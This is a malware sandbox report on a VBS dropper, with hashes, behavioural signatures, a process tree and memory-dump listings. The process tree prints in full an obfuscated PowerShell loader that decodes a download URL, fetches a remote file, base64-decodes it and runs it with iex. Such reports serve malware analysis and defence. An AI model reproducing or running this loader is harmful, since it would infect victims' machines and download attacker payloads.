7ab71eea03d84976609bb0ed19aa1b33b784731a357065900618ae4c3b8761db

Analysis

max time kernel
148s
max time network
149s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
01/12/2024, 02:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7ab71eea03d84976609bb0ed19aa1b33b784731a357065900618ae4c3b8761db.vbs
Size

67KB
MD5

4446681fce0cae163942eb162fd4ee76
SHA1

9c235cf72cebbbb0c5bd480add8f1c2db437b793
SHA256

7ab71eea03d84976609bb0ed19aa1b33b784731a357065900618ae4c3b8761db
SHA512

59dbcf1a8255e51f29825856cbeef269cf0584350570bb073dd5988a0ab2bbc6a8a13628405d30e7056b722b64be2e06e86ac576c0d1609dd524f0e1d95afb5f
SSDEEP

1536:TX7JwDwA6PgDQSjdOWZOVKgHrf6ZufkDt159fW7ajc:TXPIciZ+Korf6ZC2tdfW7ic

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	2068	powershell.exe
6	2068	powershell.exe
7	2068	powershell.exe
8	2068	powershell.exe
9	2068	powershell.exe
10	2068	powershell.exe
11	2068	powershell.exe
12	2068	powershell.exe
13	2068	powershell.exe
14	2068	powershell.exe
15	2068	powershell.exe
16	2068	powershell.exe
17	2068	powershell.exe
18	2068	powershell.exe
19	2068	powershell.exe
20	2068	powershell.exe
21	2068	powershell.exe
22	2068	powershell.exe
23	2068	powershell.exe
24	2068	powershell.exe
25	2068	powershell.exe
26	2068	powershell.exe
27	2068	powershell.exe
28	2068	powershell.exe
29	2068	powershell.exe
30	2068	powershell.exe
31	2068	powershell.exe
32	2068	powershell.exe
33	2068	powershell.exe
34	2068	powershell.exe
35	2068	powershell.exe
36	2068	powershell.exe
37	2068	powershell.exe
38	2068	powershell.exe
39	2068	powershell.exe
40	2068	powershell.exe
41	2068	powershell.exe
42	2068	powershell.exe
43	2068	powershell.exe
44	2068	powershell.exe
45	2068	powershell.exe
46	2068	powershell.exe
47	2068	powershell.exe
48	2068	powershell.exe
49	2068	powershell.exe
50	2068	powershell.exe
51	2068	powershell.exe
52	2068	powershell.exe
53	2068	powershell.exe
54	2068	powershell.exe
55	2068	powershell.exe
56	2068	powershell.exe
57	2068	powershell.exe
58	2068	powershell.exe
59	2068	powershell.exe
60	2068	powershell.exe
61	2068	powershell.exe
62	2068	powershell.exe
63	2068	powershell.exe
64	2068	powershell.exe
65	2068	powershell.exe
66	2068	powershell.exe
67	2068	powershell.exe
68	2068	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2068	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2068	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 2068	2564	WScript.exe	31
PID 2564 wrote to memory of 2068	2564	WScript.exe	31
PID 2564 wrote to memory of 2068	2564	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7ab71eea03d84976609bb0ed19aa1b33b784731a357065900618ae4c3b8761db.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$eroticizing='Federarie';;$Slambehandlingsanlggets='Shadowishly';;$Udfolder='Briarwood';;$Jkel='Backingbandet';;$Gangarealerne138='Karakteristikkernes';;$Dokumenttype=$host.Name;function Hjemmemarkedernes($Rodfstede){If ($Dokumenttype) {$Afhjulpne=2} for ($Fabrikationens=$Afhjulpne;;$Fabrikationens+=3){if(!$Rodfstede[$Fabrikationens]) { break }$Puncheon+=$Rodfstede[$Fabrikationens]}$Puncheon}function auspiciums($ouananiche){ .($Recirculated) ($ouananiche)}$Cockneyfying=Hjemmemarkedernes ' n .EPiT .UnwTiE eBEpc,eLUsIHaeH nR T';$Noncandescent=Hjemmemarkedernes 'AaMlno AzT,iInl ,l a,e/';$Thoracostenosis=Hjemmemarkedernes 'S.T OlA,sTh1We2';$Kartonets247='Jo[ SNAnE oTB . ,S,nES.RA v ,I RCSte ,pslO riKnN.iTMambaaHan ,AE GSmEStr ] l:G :D S DEV.CTeuCerBiIFotDuY EP rR.aOMiT iOm csuoTel r= L$CotArHVgOXeRDiaTacAcoUnSP tEpEUnNS OP,sV iHes';$Noncandescent+=Hjemmemarkedernes 'No5 e.f 0St R(G WeriScn.odAuoRewTos K RgNAdTSl Sr1Oa0,e.Cr0Un;Go EpW eiKun,r6 D4Ty;Re ax o6Fi4 a; HrOxvAf: V1 r3Si1 H.De0Da) l .GTveGacStkOvoSt/Ma2Be0Re1Co0I.0 O1de0in1Ho ChF HiBhrGeeSkfIdo rxUn/Re1m,3Ib1lu. i0';$Engangsafgift=Hjemmemarkedernes '.aU.iS oeCrr l-PyADigUne NS.t';$Ammunitionsfabrikkens=Hjemmemarkedernes ' Th tCot Fp.tsdv:Sp/Pa/ wUtw.nwO .AdlExeMebInePen es.erEkaFreOluIam MeUd-KogStgHamS bUnhAk.Ind Se / StCoep mThpAnlSdaT tO.eSt/Hei.on ecRu_LycAfsJesSt/Fys op seMec ,iPlfLeiU.cMa/ReKslv uiUmdcorMoeG da.eP sMo. BpR c nz';$moistureproof=Hjemmemarkedernes ' B>';$Recirculated=Hjemmemarkedernes 'viiSkEKeX';$Anionics='Resbolig';$Arcuation='\raadede.Erg';auspiciums (Hjemmemarkedernes 'Un$M,g Ul mO.tbBiAJaL :GhlQyYU,OEfnUneAbtBlIFyaEo=Bo$UnE,vnAavSi: OAtiPSuPunD ta pTTrA A+bl$S aUnrSec,auGraStt CIFooAfn');auspiciums (Hjemmemarkedernes ' .$Sig rl,rOInBL a rlFo:BaR iiSanStN eI dEbe=Vi$ BA .m mAmUL n ,iItTG IMaoSpNSpS eFNoaEnbmerUfi kR KVaePrn TSBa.EnsMaP SLM IAnTTi(Wr$BiMpaoTaIMos rtBuUq REpEDyp mrS OTro dFLi)');auspiciums (Hjemmemarkedernes $Kartonets247);$Ammunitionsfabrikkens=$Rinnie[0];$Chaffer=(Hjemmemarkedernes 'gu$ovGBulMaOMiBIsaKrlMa: Tb Ko,urGaTSySAnk MAD F aF SE alFosS,e KSK mcoENots o OdSieKoR mnMoEAd= BnPrEY.WSt- COSuBSkjOvEDuCUntF HjSCoYK S QTNeEF MS .S $ fc .OL c Hk ,n Ce rY RfSuyB i eN og');auspiciums ($Chaffer);auspiciums (Hjemmemarkedernes 'h $,sBVioSerSttA s.ukB aTufPrf PeFrlNasAneTes dm jeGatUnoEgdBue r Kn ,e N.BeHZ,ehaaB dwieUdrPhsko[I $ ERennegPoaPanU.g,rs,eaWifGagS.iG fRntUd] a=p $ N.oo,anYac raR.nRedS e.tsMac LeFon .t');$Internes=Hjemmemarkedernes 'se$E BAfoPlrRat sNok aCefKofSce Sl.lsNoeAnsTem.ae,ntFaoRodSpeAnrO.nUnet .,mDMooSlwA.n lStoGaaOrd OFIni elAdeAt( n$CaAS mGom vuPsnT,iOrt SiP o OnL.sInfE a Fbpir.yiMak tkM eminGls a,Rh$MyO.ykInsT.e ojReeBa)';$Okseje=$Lyonetia;auspiciums (Hjemmemarkedernes '.a$Kog.eL oo ABBeAF,lUn: EU,tN kAFrdXeDVaUVecCoe.ga,sB,olAfe ,=,y(PaTK ETesLeTSt-PrpMeaUnT CH B Sl$ o UK esFrEP JUnEFn)');while (!$Unadduceable) {auspiciums (Hjemmemarkedernes ' $HegMilV oAdbA a DlD :KoSf t a da MlBrt,raSkn NkKde = A$PrMJ.e nd,t KaT,3M 8') ;auspiciums $Internes;auspiciums (Hjemmemarkedernes ' GsBltInaHeRBlTPa-S.sOlLnoEK EOxP S Qu4');auspiciums (Hjemmemarkedernes ' $ gKaLReo ,BriAbrl a:JuuUdN DAStDC dIrUVecSuEElaPabSalKaeF,=La( Otb e aSFoT -OmPN aSaTGlh b T$AfoUrk SVaE ,JT e M)') ;auspiciums (Hjemmemarkedernes 'Ch$FlGS,L ,oApBPraTrL o:NyR neUnsW usaBCosTit CADinFrt IbaA.lTBlI tnR g =Un$PuG.kL sOStbFiaCoL,i: UA GSMiHOsL ER s,as s+De+A %Un$PeRtoI onBonObi rEFo.RucSeoBluCoNPaT') ;$Ammunitionsfabrikkens=$Rinnie[$Resubstantiating]}$Catfacing=330712;$Phoning197=28597;auspiciums (Hjemmemarkedernes 'To$SmGjeL CoOvbUna uL A: GOH vlaED R,hc aH,P.nI etR A oL ,IMozMae = O CgCyeS tBa-O.cVaOFoNS.tTrE.uNSiT,r u$Pho TKGus,nE OjP e');auspiciums (Hjemmemarkedernes 'Co$OrgEplFaoMebSvaMilaf:,oFBarAna fS.rFlsE e ,lBleFrnS ,e=Cy ,[ iSBrylnsC t,heDim . CP,ofonMevr.eRnrBrt ]D.:Ma: VF Br tor m rBIsa esBeeFi6 T4 BSAbt .r diO nR gS ( i$.eO vA e rSkcFoa tpGti DtSca Sl siOvzB eSn)');auspiciums (Hjemmemarkedernes ' e$AfGSaLRoO rb,raAml.e: Ap Ve ynE.tSeA esSct Fo ,mInuBomAg Li=Ou [EnS Y uSG.T leG MOp.AfTPse.uxErtCa. rEPeNT.CLaODoD .iUnNAng r] A: ,:p A iS ecPhiDaiO .v gSlEPrtP S VtK r IB.NDegMa(sc$ByF Tr eA ifMaROpS,oeK L pEAnNqu)');auspiciums (Hjemmemarkedernes ' i$GrG hL ounBMea slFc:Udh pU aR ST iIHjGPar dUsuTAvECer ,SU =un$U,P PeRuN ,tL aFesRhTH,OMiMSouA MEv.BrS.eU bHeSTet ,rcai.in BgUl( $Soc a TSufO.aLoCKeI ,NOrGLe, s$ Fp eHlaORenBai eNReGGr1 9M 7In)');auspiciums $Hurtigruters;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2068

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2068-4-0x000007FEF582E000-0x000007FEF582F000-memory.dmp

Filesize
4KB

Download
memory/2068-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2068-6-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2068-7-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2068-8-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2068-10-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2068-9-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2068-11-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2068-12-0x000007FEF582E000-0x000007FEF582F000-memory.dmp

Filesize
4KB

Download
memory/2068-13-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2068-14-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2068-15-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download